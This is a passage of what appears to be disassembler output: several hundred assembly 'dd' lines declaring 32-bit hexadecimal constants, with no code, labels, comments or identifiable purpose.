		dd 371FF70Eh, 464165AAh, 0FFB3527Dh, 0FF0A3335h, 0D72AC45h
		dd 0A57A56A8h, 4D473564h, 140F8D47h, 4C0283Dh, 4630F40Dh
		dd 5C88F94Fh, 0A7411633h, 0EE92A195h, 38D9D89Bh, 3111987Fh
		dd 6AA89000h, 30FC7549h, 9435FDEAh, 7926CDA9h, 754E16E6h
		dd 88BDE17h, 0AC3E22Ah,	3A61A626h, 3D39946h, 23B9928Dh
		dd 0BBB5A0D2h, 10D54450h, 2E8DD0BEh, 9942FF33h,	5BD3DD43h
		dd 0BDB025CBh, 0EB85D2C5h, 0D21BFF33h, 0C5FE21F4h, 88180431h
		dd 0AB1CF74h, 7D59D361h, 795912A5h, 7876D4B9h, 83EFE49Eh
		dd 155C5D1Eh, 98AB7D5Fh, 4E44BC45h, 0F5E9529Bh,	1CD733D7h
		dd 0E7F5AC2Dh, 96B5BE0h, 0FC7CB90Bh, 4D055277h,	0E003D15Eh
		dd 0FE074C94h, 5BC35D81h, 0B22526F7h, 0AB9160FDh, 94C8E548h
		dd 75EE4C9h, 94926644h,	0DFE19B94h, 31141DFAh, 0CD4E1E7Ch
		dd 3ECE3DCBh, 0D64152D3h, 0E36C9FE8h, 0C167FD20h, 333395BCh
		dd 0EEB46500h, 57ECFE7Ah, 1C5B8FCDh, 788A53B7h,	0AC02208Fh
		dd 0A68EC2F5h, 3C69AA2Dh, 0BBC0A521h, 661D696Ch, 0B93994Dh
		dd 7570E6ACh, 62D5FE72h, 0FED9DF28h, 8F16736Fh,	79C06C84h
		dd 50ABDD62h, 7A94EBC6h, 27EAF1BEh, 82EA6684h, 4BF92116h
		dd 50A133C0h, 0ACAB8A04h, 9FA65A8Ch, 0C8B841ADh, 331C478Fh
		dd 58032CBh, 0FE659EE9h, 0E1FB0ADBh, 0C136C99h,	0F876A133h
		dd 0F49416Ah, 0A81805B8h, 9033A70Dh, 0BC47EE71h, 0E9654FF6h
		dd 7C02A8Ch, 0E30FB96Ch, 78362FFFh, 0B8240364h,	5756B840h
		dd 8CBB733Ah, 0E80C4467h, 317AB643h, 1039C3F9h,	0E8A70FBh
		dd 536BB785h, 0FFCB906h, 824061CEh, 0ECA884A3h,	0EF02289h
		dd 150DA56Dh, 1E2D8D7Dh, 96BDF7Ch, 84F72218h, 9215962Eh
		dd 0FBB936C2h, 0DA139D19h, 0C1E6E205h, 0DC316AF9h, 0BCF1A2D7h
		dd 24D5EB63h, 0E99C0D05h, 3CAD0441h, 0D8C7E479h, 46E6F28Fh
		dd 0A8A101D7h, 0AB736BBAh, 99772C89h, 2F477390h, 51B8D5EBh
		dd 90115CDBh, 74CC84A7h, 0F9E1D37Fh, 0C4604F69h, 9CCEEEC3h
		dd 269C011Dh, 0DCD9D161h, 6C2127A5h, 8C2D976Ch,	0D642AE4h
		dd 13856B83h, 222B1E42h, 2F629AFEh, 87D87F47h, 43DB8C28h
		dd 8344D30Bh, 37400C65h, 2FCD1F7Ah, 44436165h, 193DB12Eh
		dd 8EBA450Dh, 9C6B22BEh, 0E1247EC9h, 0C1D151FBh, 505E34FEh
		dd 0A7E70CFAh, 5BF73474h, 671AF7DDh, 2E3F4591h,	92A659C9h
		dd 85DCA6FAh, 78DB2F7Fh, 8FDB1B2Dh, 0CB26ED9Fh,	0F34361B4h
		dd 2BB487Fh, 0FC3DB239h, 218E3CA1h, 416A837Dh, 0E37C5865h
		dd 0DC43C39Eh, 600830F3h, 1D2AA926h, 7A901EE0h,	0C5A5D74Dh
		dd 826865D1h, 60F44882h, 0A101F148h, 7901D1Bh, 0FF4FBA28h
		dd 9D58B609h, 0A21FFDFAh, 89A15809h, 0ACB0559Ah, 9386A7FFh
		dd 91488710h, 9917F041h, 0A0D3154Dh, 0B9E09F77h, 54F8298Dh
		dd 10F213E2h, 989C1300h, 0B29616D5h, 599D68BEh,	400D60ACh
		dd 3860A8C5h, 0EE89DD7Eh, 0AB90725Ch, 7EE4AE46h, 22FD9632h
		dd 26CE79E6h, 3C2EE4A3h, 77427C1Eh, 0F9BD4B5h, 0CC56EB9Dh
		dd 61D00E43h, 0E3C5CAFAh, 273422BEh, 6F6D7440h,	0D2B82CFBh
		dd 0FAB5A60h, 2CFBA6C6h, 0CADACC2h, 9234EED1h, 0F37CCC7Ah
		dd 0EE2BC0FBh, 0F37C78F9h, 42CE8B16h, 5D99DCAAh, 936C5605h
		dd 0E38DAC98h, 1DCF73BEh, 3BCF5955h, 0BFE9652h,	7569018Dh
		dd 0CA832EDh, 864DE142h, 0A5DA8DC8h, 38C121BCh,	4BE9CF1Fh
		dd 0EC5E55F0h, 0E90DCD69h, 0E77D8341h, 0A5835B05h, 0AF69E724h
		dd 9330A982h, 0B0754634h, 8540358Bh, 0E9481469h, 91468D3Dh
		dd 7397DF7Ch, 0A40DDD6Dh, 5C7B61A7h, 0AC9FA64Eh, 0C28D2547h
		dd 58AED158h, 8DEC5BDh,	438FDA9Ch, 6C1D9AFFh, 9B986FEFh
		dd 2CF51C90h, 0D8BFE981h, 0B9889FF5h, 578729AAh, 0B3C0DA25h
		dd 4DF4A37Ah, 0A6762317h, 0B1CD66D7h, 6FFE1A7Ch, 0C276517Ch
		dd 6F093080h, 76F8A9Fh,	66190133h, 0F615E90Ah, 9B8981D6h
		dd 8288E499h, 8F57CA9Eh, 0C7E22B3h, 0C20754E7h,	0A85BE654h
		dd 0B2B19AF7h, 0E2C78E12h, 1F6C6088h, 4AC4D391h, 0F88DB0F4h
		dd 252B32E3h, 74CD24D2h, 1291A222h, 7FD9A0BBh, 43D32AD4h
		dd 0E41C8AE5h, 424EB929h, 45ADF3B9h, 47F359F6h,	662225DEh
		dd 7723C219h, 83C6D971h, 462429A9h, 90D33A41h, 97CED8C5h
		dd 0BAD4F86Dh, 8B537DC2h, 0E47F604Bh, 46385677h, 0F98A4C74h
		dd 0D69DB929h, 0F072C758h, 14965745h, 2C93462Bh, 937085CBh
		dd 0C68B93Ah, 925035A6h, 965F9C45h, 65308D74h, 5B0B2083h
		dd 57F4C50Ch, 13E4E24Fh, 0D71A42BFh, 0B7149EC9h, 71420641h
		dd 8CA00509h, 46246D25h, 0F95836EBh, 0F5EC6C10h, 297257B5h
		dd 0C8D794D9h, 0B5381C7Fh, 0A95138F1h, 0F898E8C2h, 0A20A550Fh
		dd 98C796D7h, 7C6286DAh, 189F0h, 0B920B0DAh, 0C31EE97Fh
		dd 0A490F1B8h, 0F3F03EACh, 0DF3AEFA2h, 3926954Ah, 96213E09h
		dd 55D76CA4h, 1C54DF31h, 3E522666h, 808C1E4Dh, 0E60A6707h
		dd 493CFBE3h, 0A9D8C2Bh, 0CAAF2DF8h, 0DEB07F62h, 0F1CB0AF3h
		dd 0B24EFADEh, 0F37D54D1h, 66CCB8BAh, 7DFBD8AAh, 0F574A943h
		dd 6421A523h, 0F779C9A6h, 0A9F78B85h, 438135D4h, 6715F945h
		dd 71169496h, 0A75AF9D5h, 952FB463h, 79F9B19Dh,	2AD46F06h
		dd 4B536FBAh, 86975E4Bh, 0A7775F77h, 1D46742Ch,	0E9420325h
		dd 0A0D11C41h, 0BBA7E34Eh, 0BE272268h, 7B16574Bh, 1C20AAC6h
		dd 0FFF3BBD4h, 60A65C80h, 999DECF6h, 0E7437743h, 4DA44BBBh
		dd 614AE867h, 0B712E51Bh
		dd 0AB51BE3Eh, 0D5AAB1E0h, 60765C5Ah, 360E6238h, 50EB3C4Ah
		dd 9DDFFEECh, 4CFA0D91h, 0DD77FD61h, 0B9399F5Fh, 0A8553DB4h
		dd 109DC123h, 0D4F65866h, 0A560F723h, 0D4E26936h, 0D588806Eh
		dd 3F9C1CD9h, 82927683h, 849009ABh, 831798D3h, 0FEC5FF6Fh
		dd 5FAB6E0Dh, 0F070E740h, 48B87C6Ch, 0ADA755C7h, 0D38AF30Bh
		dd 0B7F40877h, 76F21659h, 78C6E70Fh, 2FE34CBFh,	0DB155AFAh
		dd 3C18C977h, 29245A03h, 0CD8EBD4h, 0A16C81ADh,	313AA27Ah
		dd 967EA94Eh, 0ADEDBF57h, 7BFEB2D3h, 47E4413Ch,	471B5EA6h
		dd 0F15323CDh, 768684C1h, 631F1F2h, 91525994h, 85DD8EF0h
		dd 88C8BD73h, 6FA92791h, 1D93568Fh, 0D35BDC3Dh,	5E32AC32h
		dd 0D88C3894h, 0A8B0426Eh, 0F6621355h, 74AA5A7Ch, 27873DAEh
		dd 6F451A75h, 1CC0B9C9h, 0FF2FB57Ch, 6950295Eh,	639420A3h
		dd 9BE3219Dh, 0F40A795Ch, 0C082D8A7h, 73DB6D7Fh, 0F094CB92h
		dd 0AC7ED205h, 0EE2A047Eh, 15A41189h, 0B81832E7h, 545B0700h
		dd 8CE3ED92h, 0D178E4F4h, 32E4DAB4h, 0A834A9A7h, 1FF63AD2h
		dd 0BD12C3EDh, 585915E3h, 0D274E341h, 2DEE3468h, 4F3D28AEh
		dd 0A610056Ah, 0E380C74Ch, 0E25D4B4Ah, 3259C6A9h, 351F4E66h
		dd 0EA0175D9h, 0B1AB61F4h, 0FC91AA09h, 8661151Eh, 1868523h
		dd 0CF0A9AC0h, 0E753D113h, 6C677CBDh, 7ED8D532h, 0A0FCD160h
		dd 97CCDF78h, 9EC43894h, 4F28D8DDh, 0C1CE1D80h,	7E3EB589h
		dd 4229847Bh, 5AEEB3D3h, 11C936BAh, 1C2656BFh, 5152D4B8h
		dd 620C5274h, 659B486h,	223B79DDh, 0D0AA3h, 769A715Ch
		dd 7AA6FF19h, 0DCE95A8Ah, 8EA379C8h, 805898FCh,	843B0BA0h
		dd 0B5DF6381h, 7360A746h, 0E4095CA7h, 454648C3h, 19271133h
		dd 186B6279h, 7AE01E7Eh, 151D0B12h, 6DEF647Dh, 9863AD45h
		dd 0B87CF4B8h, 6FD61C3h, 426628B9h, 0DC8DFC9Ah,	45CE103Bh
		dd 0F21C2104h, 0E619EF9h, 61150B27h, 0FBAC0BE7h, 7166AB82h
		dd 0C3B604F1h, 5DCA0810h, 0FECA3C62h, 8834684Ah, 41B1A3EAh
		dd 0CBA671D9h, 5B6C351Bh, 188B0CA9h, 41889961h,	7DF34C8Fh
		dd 0E417C161h, 0B705F6C3h, 0D6D943FEh, 0B02B897Fh, 6F3669F6h
		dd 0FBAD248Fh, 1EFF914Ch, 0C33A8556h, 0AA643840h, 969142E6h
		dd 0F1085922h, 494DB87h, 4EDB2C4Fh, 0ACFBE2ECh,	18D95EB8h
		dd 0A5CCA4F0h, 53114025h, 7C4E1328h, 0FB80D6FFh, 0A5BBF752h
		dd 57C94479h, 1E3165BEh, 0DB23AEAAh, 0D415AF34h, 0A4C40208h
		dd 0B1C12081h, 8F052F32h, 910A1AF9h, 852E48C0h,	0B1E6409h
		dd 8BD72DD3h, 1A6CE8B4h, 0DD285D8Fh, 8A31038Bh,	0B13081D1h
		dd 7366A766h, 0F27434D0h, 41D7D4CBh, 1B775835h,	590A8380h
		dd 0FF1C698Eh, 7940C89Eh, 2DEB639Dh, 0B865AF59h, 0C87DF3B0h
		dd 0CFDE04Fh, 831599B9h, 4EB42DEh, 56026B72h, 0FD4A29Dh
		dd 0D0DDDF84h, 0A443D656h, 31B083EEh, 1D92FA4Ch, 7B7351BAh
		dd 0FFF434FAh, 40D14382h, 8DC4FBF7h, 0BE409382h, 0B6FC5D97h
		dd 0D20C0641h, 5486386Fh, 0B81EECCCh, 0EFCAF4F4h, 0A17C1806h
		dd 0D2B3C8BFh, 4331D729h, 0DE534665h, 0E6D512F7h, 0FBEB41DEh
		dd 36DCA36Fh, 60D2057Ah, 0B5B20161h, 0AAEF9738h, 0E8DCD6B3h
		dd 43F3C340h, 0A4DE1E5Fh, 40BE5B88h, 6435A4F8h,	531A849Fh
		dd 0C992DA25h, 2532AC83h, 0C6884ECEh, 0B13E0A8h, 2B1EB13Dh
		dd 0D2FCB0DFh, 3E27AF7Ah, 45052CB8h, 0B58C8E76h, 7F7CED02h
		dd 59C9D1Eh, 84C13614h,	945624EAh, 0BE5976Eh, 4BF5310Fh
		dd 11459AC6h, 2B5DCFFDh, 0DB8C99B9h, 0E7C0E9h, 19D0FD0Dh
		dd 0A3FCACC0h, 7C511B3Fh, 61A00390h, 0E6ECEF99h, 7AF2B306h
		dd 0E0233C85h, 47F46CA3h, 0E9D22BC8h, 0DFB9B962h, 0FB642D70h
		dd 0BB9A2C57h, 0E68C3FACh, 86CB3126h, 0E921EA1Ch, 38F0F98Eh
		dd 58BD1C0Ah, 6BCAAEF3h, 0C2924E1Bh, 0BF0E0804h, 0FF02E9E6h
		dd 8636B7E1h, 9E5087Ch,	177759E6h, 67CD7B14h, 5BB8D5DDh
		dd 6750DBA8h, 0F39666B1h, 596D2A79h, 7D3380Dh, 2B0D715Fh
		dd 0EC3555Eh, 0CA76AE06h, 743FF9E3h, 7D52CAFh, 0CC9BB011h
		dd 0A08333B6h, 4A86EFAAh, 0FE2A7CEh, 7E983089h,	911D08E6h
		dd 33A89411h, 0F93B9FC5h, 29C2A65Eh, 9426341Ah,	62FFF118h
		dd 0C663904Fh, 0F6F72D1h, 4E22B3DFh, 6A2F7AA2h,	4E7C3BFAh
		dd 62C69C3h, 76A35DADh,	26E6B38Ch, 982BA911h, 983BDA0Ch
		dd 713F8C79h, 8C43B6FAh, 3ADD9D3h, 6D00C216h, 559FFDC6h
		dd 0DD1A525h, 298BF062h, 995B606h, 29900DB3h, 93897C62h
		dd 14F50B3Bh, 5EEB3623h, 82C91AF5h, 0E03B4138h,	5DF340A8h
		dd 24384415h, 7FB9224Dh, 0F0B8B10Ch, 0EE0F670Fh, 8E986F28h
		dd 0F1D9A1CAh, 73B2074Ah, 253159CDh, 933B260Fh,	12FA0257h
		dd 6419A47Ah, 616F7F02h, 0D5FC59B6h, 1AC434AEh,	0A5A2682Ch
		dd 0FAE1F4EFh, 4E107116h, 0EA0D34CAh, 8AF5AC1h,	523D7EB7h
		dd 82A22972h, 5CA4FF54h, 0D7AAE5A0h, 2632C30Eh,	0BF090F3Dh
		dd 0C47A1FBBh, 0F884D18Ch, 47DA398h, 883475Ch, 0EC3A9EAAh
		dd 96532604h, 7AE24E7h,	0AFB3AA82h, 0F0CB46F7h,	1D36D72Eh
		dd 79B79F28h, 2A571C89h, 7D4F191Eh, 3A128187h, 2793A816h
		dd 9753FDD8h, 0D7353825h, 93AFADC2h, 0BA38C88Ch, 31475DADh
		dd 0E0D28385h, 0BEED6041h, 0ABCF28BDh, 131BE26Dh, 0AA094287h
		dd 62C29B43h, 0AA1EB865h, 81093219h, 3820CE31h,	0A3E2D710h
		dd 6197E3E7h, 66C896BBh, 59D411F4h, 4DD60906h, 9701E438h
		dd 96D0AF21h, 17E3C28Dh, 1BBF0319h, 33380D07h, 4832718Fh
		dd 34EE2D92h, 3662F88h,	0A5C53C07h, 0CFEBEB21h,	72C6737Fh
		dd 99A82DDCh, 0C2C17970h, 0EBE809C7h, 4121081Eh, 770CA409h
		dd 0DCB34918h, 0A8258983h, 7705DCF4h, 0AAD5934Eh, 0F6C29359h
		dd 0BF16CA6Ah, 0BC5976BDh, 0AA592ACCh, 0C80BC5ADh, 8AF92DE2h
		dd 4E222B42h, 0E125F456h, 0B3B6FCD2h, 734015F6h, 0FF47C78Ah
		dd 92DD462Bh, 8AB827Bh,	4903FCE2h, 6717D6A8h, 9644F41Bh
		dd 92B2B72Ch, 437B0F09h, 941F85C7h, 4BA5C4Dh, 11302B62h
		dd 43BB151Dh, 6480CC1Dh, 0ADCB016Bh, 901BCB05h,	0D1B5694Fh
		dd 5EB369EFh, 576EAEC2h, 0D8184B78h, 20379DEDh,	0D85AA3A5h
		dd 0B2B15071h, 0ADAD5085h, 100CFE69h, 0AB90C881h, 6206DA42h
		dd 2A3858E5h, 0C17822D8h, 182845D1h, 0F8FE1300h, 696542C4h
		dd 0FCEA66CDh, 20D1A1F4h, 0A4876D00h, 7E92D79h,	37907A37h
		dd 0BA0039FEh, 0F50A7B78h, 0C022E716h, 95DB1497h, 5100399Eh
		dd 58ECEC8Fh, 8645BC0Eh, 0BE2B2AD0h, 0BAE69367h, 0FD983DD8h
		dd 0F0C94172h, 0E2E475D8h, 1AA5161Fh, 0C6457DBBh, 94B4C703h
		dd 96E6D921h, 0CD103BF7h, 1D199351h, 787F1058h,	0B07636F2h
		dd 0A5350F39h, 55A9E365h, 55F062A4h, 3B0B05FDh,	1C972313h
		dd 0ED514B9Bh, 8D4B7ABFh, 0B14B827Dh, 89AB2F43h, 939D18FFh
		dd 882A6FF4h, 7493ACA9h, 0BA640620h, 0B64F0F01h, 0E876A0B2h
		dd 4B87653h, 2742847Fh,	0DD48B1E8h, 8C459E7h, 0C933EAD9h
		dd 3D3E20E8h, 15AF047Fh, 1137959Eh, 3DCB754Eh, 5A8FACB4h
		dd 7D2D4460h, 9B772FB9h, 8F3CF9A4h, 0BC02582Eh,	7133798Ah
		dd 2C9ED1EAh, 1F8AFDDEh, 0BECE0A2Ch, 0C27E1D1Ah, 84213A87h
		dd 1BE1DAC9h, 306E7522h, 0E6D64CB9h, 13E250C2h,	0ADDDF2C1h
		dd 5BB56B3Ch, 0E40EF382h, 0BE42C185h, 1661C94Ah, 0C17E6868h
		dd 3988798Eh, 452809FBh, 982C3220h, 0B1BF3F6Bh,	0A81487B9h
		dd 2D9A87E1h, 0CAE85F23h
		dd 9779DAF6h, 0D06CDC4h, 4364034Dh, 6EE05665h, 9D2318F3h
		dd 49BD70BBh, 549413F9h, 86D61967h, 22835899h, 0DE15FCA2h
		dd 966E6B0Fh, 0B2DA3C44h, 86AAF79Dh, 0AA15E75Ah, 961B40CDh
		dd 0EDD27B39h, 96FB92FBh, 470C4F93h, 0D9DDFDB9h, 733E14ACh
		dd 46A7F46Eh, 78CDC7CAh, 0CAF7BA1Bh, 4093A64Dh,	31007D1Bh
		dd 24065CAAh, 6309FD2Ch, 8B322A8Bh, 0A964C04Ah,	9C6F5E40h
		dd 0EF43DC7Ch, 0C4CB8C0Fh, 1C25905Eh, 91B5E9A9h, 171155D1h
		dd 3A2FA08Ch, 155366AAh, 0BF0322E7h, 8A8627F0h,	0A92469E7h
		dd 0EF3F3F7h, 0BE8835BAh, 0E69B41F7h, 0CA8C80DBh, 0FAE080FAh
		dd 8B425CD0h, 411198Eh,	1858A4F6h, 0D376F056h, 90E62F6Ch
		dd 0D3613ED5h, 0A915891h, 5CB82130h, 0EFC5B8BDh, 0E3F4A53Dh
		dd 5725DE78h, 0B64BFCFBh, 0E3AEF46Dh, 31920A16h, 6E5D16A7h
		dd 76FDE862h, 835560DFh, 911AE38Dh, 0FA5AC0C7h,	0FDF5DE9Eh
		dd 5D2914Bh, 516DCEA0h,	141595EFh, 8289B5Fh, 710FEA67h
		dd 5684797h, 0F499903Fh, 0A134ADFDh, 0DA19A8FEh, 0F5344F1Eh
		dd 8252D70h, 146FC642h,	162B8622h, 9E3829E6h, 0B22B247Bh
		dd 0FCA7CB2Bh, 94E53E20h, 133BA62Ah, 2B6694Ah, 137A101Ch
		dd 5D910C5Ah, 0AD6EBD63h, 80EB89C4h, 0DD625566h, 191A6169h
		dd 33BECDDDh, 0CFF7A4E8h, 27338B78h, 7F4A0FDEh,	6949D1E1h
		dd 4198ADDEh, 986864Eh,	6CCD4543h, 70B0889Eh, 33D36A6Eh
		dd 0DD506428h, 8B9446E5h, 77761F75h, 0FD36719Bh, 0AD94666Ah
		dd 4D5D6082h, 0B07A3D19h, 1D77F19Dh, 6E871793h,	1B328E80h
		dd 99E1A891h, 48D8639Bh, 856C78E6h, 0BF214D0h, 484B501Ch
		dd 741D69B3h, 9ABA3BB9h, 81973C52h, 0B80F09D8h,	6C1BAE3h
		dd 7C9ABDBh, 26920CBCh,	0B053C976h, 0C0A05711h,	0B5C3A8A9h
		dd 56656E39h, 0F7D2323Eh, 0AF89B336h, 6F07779Eh, 0F2ECA847h
		dd 81F98A30h, 6B971EE2h, 0CA7CD0FAh, 214AA66Eh,	0D793A79Ch
		dd 0FA3AA0F6h, 12BFC80Eh, 1E868282h, 6A794922h,	0A370C549h
		dd 61EE6C9Eh, 5BA9A962h, 96DB14BEh, 40D29B0h, 53634EB1h
		dd 6F54DDA7h, 7E755864h, 86B7568Bh, 0E25551Eh, 9927B708h
		dd 9A5A5394h, 1213F820h, 5C429D4Eh, 8C63DD7Eh, 0D0D7345Ah
		dd 6177793Ah, 0E50DCB11h, 15813D7Bh, 0FE0D34B3h, 1DC35E34h
		dd 6C11F626h, 2A85C8ABh, 0E914ADA5h, 0C8953E49h, 0D5D8E2AAh
		dd 69609DADh, 186A64B3h, 3015610Eh, 723B7FDDh, 8E6621CEh
		dd 846C878Ah, 7B4D7BE1h, 0C448381Ch, 8672D521h,	0C4051CBh
		dd 0ECB81B4Eh, 635DB379h, 628E00C1h, 41F8DE17h,	9C8C8C47h
		dd 0A77C5564h, 60808B58h, 2687D8F0h, 0E935B7Bh,	870B96B0h
		dd 0DD45A13Dh, 9ED04216h, 6F75EB6Bh, 6D61F063h,	5CF7106Bh
		dd 1596B16h, 0E687F6D8h, 12181E29h, 691D88EDh, 5573066Fh
		dd 0EEE83A18h, 7F03FA01h, 0E106BA11h, 0B7F8BB75h, 0CA1A831h
		dd 0CCC42A13h, 716C09C5h, 48CC2CB9h, 58D4ED13h,	4D91AA6Eh
		dd 48A810E6h, 188E2387h, 3B625EE2h, 3F9F52ADh, 0F47EFE30h
		dd 2507A220h, 0F590044Ah, 2979514Eh, 0BFD00657h, 0EFA3DED8h
		dd 1A5463DCh, 0F96F6C03h, 0AA5F5911h, 790ED8D9h, 48174258h
		dd 281E0141h, 34865914h, 0F3721F6Dh, 15815BC0h,	1086DD35h
		dd 22F74EC3h, 1FBA96EDh, 0B8B486FFh, 555824BFh,	23388822h
		dd 0E5F61578h, 10153CC6h, 0CC889E54h, 31F0EFC4h, 0BFFC3538h
		dd 8E01E36Dh, 40CC1FF7h, 0DC565E5Bh, 19641073h,	0D071D33Bh
		dd 0BAC5103Bh, 3BEF979Ch, 62F7531Ah, 0BDD97FA8h, 2E8F4216h
		dd 38EF975h, 69FCCD72h,	1A5FB783h, 83295031h, 5030C139h
		dd 265DCEE9h, 1ECC6964h, 0B66CCEB3h, 0D6A8B0A5h, 0ACBC9C29h
		dd 75C9DEB6h, 7C454BB9h, 7D116201h, 0A0B4E311h,	2638F0Dh
		dd 0A29B2F00h, 0F93952E0h, 9089CD15h, 17D14427h, 41C624DFh
		dd 0FB5A782Ah, 0A4052DF1h, 5121EE4Ah, 0B4827A5Ch, 5AE8BAE7h
		dd 511E0092h, 857067F9h, 6D02723h, 0BF67E6F6h, 0D9EE5F24h
		dd 0C5D337F6h, 1C7492DEh, 0CC2A66D8h, 70418503h, 0CC945816h
		dd 0AF51D11h, 0EBC3FD96h, 0A4F2500Bh, 4850FD0Fh, 236B9EC6h
		dd 1DF8F86Ah, 43878673h, 8D9F5AB8h, 551B50B3h, 1057038Ah
		dd 0D50950A0h, 0B3D1B2B2h, 5C497Dh, 57140E23h, 88D61D5Ch
		dd 842AD7BFh, 5DD598BDh, 7ABD2439h, 9E602B91h, 0DEE2F341h
		dd 6CC2C685h, 86E2C235h, 7FC89DD7h, 7FA3D327h, 32541095h
		dd 0D8B5E7D8h, 2301650h, 0A18995A6h, 9D655644h,	0D982FCBEh
		dd 788FC944h, 359C21C6h, 0D0406E18h, 9F0E3E39h,	0A6B0DE81h
		dd 84076F72h, 3E08E576h, 83B384E6h, 6353931Dh, 0BAC7B9B6h
		dd 2A5AB56Eh, 69ECFA80h, 0B1E2914Bh, 0FC64FA0Ah, 49042693h
		dd 0F0BB2700h, 778D3FE9h, 306948C4h, 22872BA6h,	0A1019348h
		dd 17CAB50Ah, 0D21D4AEAh, 5B41FD5Ch, 59405E00h,	7BB4239Fh
		dd 32A6DE82h, 0D99F32CAh, 5417AFE3h, 0F2166930h, 72CA42FFh
		dd 627161Dh, 2E16B71Eh,	835532E7h, 9FA14B1Ch, 0D5821519h
		dd 0A2530487h, 293A9096h, 457682B2h, 0A97B0D46h, 0B9B8FB3h
		dd 0E8E706ADh, 0AE168AFDh, 509949B0h, 0FAC7E08Fh, 0A1E2CDA6h
		dd 0B4864578h, 532C4946h, 8A56ECA0h, 236552B5h,	0D86519BFh
		dd 0AA52675Ah, 40DA7DC4h, 0CE019F0Fh, 0C0E3A325h, 0DBDB97Ah
		dd 87589D03h, 0F075A9A2h, 0B15E3F53h, 31198378h, 0B50AFC8Dh
		dd 3A32EB6Ch, 560B7CB6h, 649D50B5h, 5DC7B62Dh, 8197E508h
		dd 0CB5A955Ch, 3F51A43Dh, 7A0FC4ACh, 0BA7A70BCh, 0EB79FB96h
		dd 0B65B2653h, 5BB16338h, 77F437BEh, 6AB4A9EEh,	0FDA0BF75h
		dd 0B8E2F2DDh, 6F323ABDh, 3A6C670Bh, 58246AF1h,	6C46BA1Ah
		dd 89F8B5C8h, 0FE046D74h, 3C9B2E58h, 0A17D9642h, 0D41370DAh
		dd 5E3DF707h, 5EF0DCA8h, 4CA73C76h, 81BB0688h, 4110DF8Ch
		dd 4DDBDF33h, 0A5ECF3EBh, 738B2D30h, 0B1DB2508h, 1E6F114h
		dd 41DB614Fh, 63204F96h, 563D93E9h, 0D963C562h,	1BA2F7DFh
		dd 2A261C4Eh, 4C2CCC2Ch, 5AA58D4Eh, 4C471E43h, 2ED4387h
		dd 0B5137B9Fh, 259934C4h, 5B0439D3h, 7ADB33ABh,	24C1AA48h
		dd 6EAACFB2h, 7B351423h, 270607CAh, 2ECCE5FFh, 4425693Ch
		dd 0F786F8FAh, 8F6B4F62h, 617A67h, 255BC67Dh, 96BFAE41h
		dd 8B869952h, 9D79FB1Fh, 0E9D99DF1h, 8B2B40DDh,	0E9B7369Eh
		dd 88BFF42h, 208CDCB6h,	0A8327DB3h, 7F738FDBh, 8B8AFE43h
		dd 4910A720h, 24403191h, 0B429ADC9h, 14F285E4h,	3FA922AFh
		dd 8E4CE029h, 0E9981DB7h, 0CA37913Ch, 0E73AC00h, 0C1ECD28Ch
		dd 91D3107Ah, 0CB8B12FBh, 646479D0h, 0E7074693h, 62B6CC54h
		dd 0EC113990h, 0C431126Fh, 41DA56C5h, 16DCF3D3h, 0D5C68C6Bh
		dd 6B8F0DE3h, 0A98DD94Dh, 4CE731Ch, 44D4032Ch, 0E909CBDBh
		dd 546ADB61h, 0AD31921h, 912A7980h, 1983AA0Eh, 0DEF9B8Dh
		dd 23F923BCh, 54D74F10h, 0EFEF9CA5h, 588342C1h,	390A61CAh
		dd 494C697Dh, 0A526165Bh, 0CCCF2C30h, 0A6001EACh, 5CB76F4Fh
		dd 0E093E899h, 0E277D13Fh, 0E06FB8A6h, 2D21FA3Dh, 9BE8EDADh
		dd 0F4ED0523h, 0BF76F716h, 83740304h, 0F76D9924h, 6E164DCDh
		dd 0CE35C582h, 782578BDh, 0FA30306h, 0C5307687h, 0E7A6F22Ah
		dd 0D0F7C9AFh, 23D4942Dh, 87E7C721h, 584F7B1Ah,	0A7684E32h
		dd 0F4A5EA3Fh, 0DE864577h, 8EB3AFABh, 17D665C3h, 0C0D0FB9Dh
		dd 0DB36D69Dh, 0B65881DEh, 6740CA7Ch, 3893663h,	0C3ABBC5Dh
		dd 39D761FFh, 0B630D927h
		dd 23490691h, 0AA07321Ch, 0E88EC98Eh, 2643308h,	43720BE9h
		dd 0E43AEC99h, 717D3061h, 0EF582D71h, 0CB0FABFEh, 11510AB2h
		dd 14EEF069h, 0DE2042F6h, 0D0777D54h, 0A56F256Ah, 61395696h
		dd 0C1AFBF8Dh, 86CFF737h, 86608FF6h, 8DEFDDABh,	7E2ABF1Ch
		dd 2AE6818Dh, 2FF892Ch,	0A1A9B49Eh, 90D6C740h, 4F8E5616h
		dd 4701EA6h, 28BAC887h,	1740D9DFh, 4CA9C616h, 0A37D1F36h
		dd 0C3E9DB24h, 259CE502h, 3C4EE4C4h, 322BE332h,	0CFB1F6F5h
		dd 2A942963h, 0ADDB8E3Eh, 829910CBh, 0ABA88538h, 375B1349h
		dd 657599F4h, 0E62F86EEh, 0FCACCC81h, 1053C863h, 0F35CC661h
		dd 76357FD1h, 49CA09D6h, 98DF1429h, 1CD47198h, 0BAB1A32Dh
		dd 0C9B7CA07h, 36874AFBh, 356CB0E6h, 0DF80F73Dh, 3B08FEFDh
		dd 302F9E03h, 0C0300715h, 85354A99h, 0A650DD41h, 0E7AD54h
		dd 0BE94A5B3h, 0A5E205Bh, 0F4911AAh, 0FAC64505h, 248EE767h
		dd 296E128Bh, 67B2910Ch, 776B5F82h, 0F67A8253h,	9D2A09E4h
		dd 34242D11h, 4D81D145h, 0DBE7DB93h, 4AA5C23Bh,	0E05DFBF4h
		dd 0D7359977h, 5FEC09F7h, 59DD30EDh, 947A2A0Dh,	6504CB4Dh
		dd 0B6CF324Bh, 0AD15B375h, 9510F3E3h, 1F53C252h, 0DC1C83E1h
		dd 42DEF8FAh, 0FC124828h, 0AD263B2Ch, 9CEC6664h, 879BF33Fh
		dd 5AEDA8B6h, 37AC8FFCh, 79D962B4h, 0D8FE1CEEh,	0E3E95919h
		dd 356C2A2Eh, 395E4DD4h, 46424C5Ch, 73F15856h, 0A0D85583h
		dd 1258B4C0h, 619EC20h,	5E9FFE33h, 0B0195373h, 0D6429CECh
		dd 7E1EBC78h, 8B4254D8h, 6C22CA4Dh, 14ED70E4h, 0BFAE1E30h
		dd 1C84D46Ch, 0DBFF7F86h, 55185168h, 8872D3D2h,	843E3D73h
		dd 7C9C6626h, 2A8CC322h, 5E6E7D47h, 9D80DE4Fh, 81FF6E2h
		dd 4B04E2A1h, 10FBD830h, 0B6A88D7Eh, 7BA1527Ah,	0A3D73015h
